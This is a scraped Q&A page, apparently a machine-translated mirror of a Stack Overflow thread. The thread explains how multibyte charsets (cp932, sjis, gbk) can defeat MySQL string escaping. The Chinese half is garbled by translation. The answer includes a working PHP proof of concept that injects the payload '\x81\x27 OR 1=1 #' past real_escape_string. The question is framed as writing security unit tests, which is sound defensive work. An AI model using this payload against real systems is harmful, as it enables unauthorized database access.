如何使用Shift-JIS和CP932创建SQL注入攻击？ [英] How to create a SQL injection attack with Shift-JIS and CP932?

问题描述

根据这个答案，您可以使用以下之一注入 \xbf\x27 来创建漏洞charsets： big5 ， cp932 ， gb2312 ， gbk 和 sjis

这是因为如果您的转发器未配置正确的是，它会看到 0x27 并尝试将其转义为使其成为 \xbf\x5c\x27 。但是，这些字符集中的 \xbf\x5c 实际上是一个字符，因此引号（ 0x27 ）保持未转义。

然而，通过测试发现，这并不完全正确。它适用于 big5 ， gb2312 和 gbk a href =http://www.isthisthingon.org/unicode/index.phtml?glyph=bf27 =nofollow noreferrer> 0xbf27 或 0xbf5c 是 sjis 和 cp932 中的有效字符。

两者

  mb_strpos（abc\xbf\x27def ，'，0，'sjis'）
  

和

  mb_strpos（abc\xbf\x27def，'，0，'cp932'）
  / pre> 
 
 
返回 4 。即PHP不会将 \xbf\x27 看作单个字符。这将为 big5 ， gb2312 和<$ c返回 false  $ c> gbk 。
 
 
 
另外，这个：
 code> mb_strlen（\xbf\x5c，'sjis'）
  
返回 2 （它为 gbk ）返回 1  p> 
 
 
所以问题是：是否有另外一个字符序列使 sjis 和 cp932 易于SQL注入，或者他们实际上不是易受攻击？或者是PHP说谎，我完全错了，MySQL会解释这完全不同？
解决方案
魔鬼在细节上...让我们从有关答案开始介绍易受攻击的字符集列表：
 
 
为了使这个攻击工作，我们需要服务器期望在连接上编码 c $'/ code> ASCII，即 0x27  和使某个字符的最终字节是ASCII  \  ie  0x5c  。事实证明，默认情况下，MySQL 5.6中支持5个这样的编码： big5 ， cp932 ， gb2312 ， gbk 和 sjis 。 我们将在这里选择 gbk  
 
 
这给了我们一些上下文 -   0xbf5c 用作 gbk 的示例，而不是用于所有的通用字符的5个字符集。
 
它只是发生在相同的字节序列也是 big5 和 gb2312之间的有效字符。
 
 
 
此时，您的问题变得如此简单：
 
 
哪个字节序列是 cp932 和 sjis 下的有效字符，并以$ $ c结尾$ c> 0x5c ？
 
 
为了公平起见，我为这些字符集尝试了大部分的Google搜索不要给任何有用的结果。但是我确实发现此CP932.TXT文件，其中如果您搜索'5c'（在那里有空格），您将跳转到以下行：
 
 
 0x815C 0x2015 #HORIZONTAL BAR 
 
 
我们有一个赢家！ ：）
 
 
 
 某些Oracle文档确认 0x815c 与 cp932 是同一个字符和 sjis ，PHP也会识别：
  php> var_dump（mb_strlen（\x81\x5c，cp932），mb_strlen（\x81\x5c，sjis））; 
 int（1）
 int（1）
  
这是一个PoC脚本攻击：
 <？php 
 $ username ='username' 
 $ password ='password'; 
 
 $ mysqli = new mysqli（'localhost'，$ username，$ password）; 
 foreach（array（'cp932'，'sjis'）as $ charset）
 {
 $ mysqli-> query（SET NAMES {$ charset}）; 
 $ mysqli-> query（CREATE DATABASE {$ charset} _db CHARACTER SET {$ charset}）; 
 $ mysqli-> query（USE {$ charset} _db）; 
 $ mysqli-> query（CREATE TABLE foo（bar VARCHAR（16）NOT NULL））; 
 $ mysqli-> query（INSERT INTO foo（bar）VALUES（'baz'），（'qux'））; 
 
 $ input =\x81\x27 OR 1 = 1＃; 
 $ input = $ mysqli-> real_escape_string（$ input）; 
 $ query =SELECT * FROM foo WHERE bar ='{$ input}'LIMIT 1; 
 $ result = $ mysqli-> query（$ query）; 
 if（$ result-> num_rows> 1）
 {
 echo{$ charset} exploit successful！\\\
; 
} 
 
 $ mysqli-> query（DROP DATABASE {$ charset} _db）; 
} 
  
 
I'm writing some unit tests to ensure my code isn't vulnerable to SQL injection under various charsets.

According to this answer, you can create a vulnerability by injecting \xbf\x27 using one of the following charsets: big5, cp932, gb2312, gbk and sjis

This is because if your escaper is not configured correctly, it will see the 0x27 and try to escape it such that it becomes \xbf\x5c\x27. However, \xbf\x5c is actually one character in these charsets, thus the quote (0x27) is left unescaped.

As I've discovered through testing, however, this is not entirely true. It works for big5, gb2312 and gbk but neither 0xbf27 or 0xbf5c are valid characters in sjis and cp932. 

Both 
mb_strpos("abc\xbf\x27def","'",0,'sjis')
and
mb_strpos("abc\xbf\x27def","'",0,'cp932')
Return 4. i.e., PHP does not see \xbf\x27 as a single character. This returns false for big5, gb2312 and gbk.

Also, this:
mb_strlen("\xbf\x5c",'sjis')
Returns 2 (it returns 1 for gbk).

So, the question is: is there another character sequence that make sjis and cp932 vulnerable to SQL injection, or are they actually not vulnerable at all? or is PHP lying, I'm completely mistaken, and MySQL will interpret this totally differently?
解决方案
The devil is in the details ... let's start with how answer in question describes the list of vulnerable character sets:

  
For this attack to work, we need the encoding that the server's expecting on the connection both to encode ' as in ASCII i.e. 0x27 and to have some character whose final byte is an ASCII \ i.e. 0x5c. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default: big5, cp932, gb2312, gbk and sjis. We'll select gbk here.
This gives us some context - 0xbf5c is used as an example for gbk, not as the universal character to use for all of the 5 character sets.

It just so happens that the same byte sequence is also a valid character under big5 and gb2312.

At this point, your question becomes as easy as this:

  
Which byte sequence is a valid character under cp932 and sjis and ends in 0x5c?
To be fair, most of the google searches I tried for these character sets don't give any useful results. But I did find this CP932.TXT file, in which if you search for '5c ' (with the space there), you'll jump to this line:

  
0x815C    0x2015  #HORIZONTAL BAR
And we have a winner! :)

Some Oracle document confirms that 0x815c is the same character for both cp932 and sjis and PHP recognizes it too:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Here's a PoC script for the attack:
<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}


                        
这篇关于如何使用Shift-JIS和CP932创建SQL注入攻击？的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！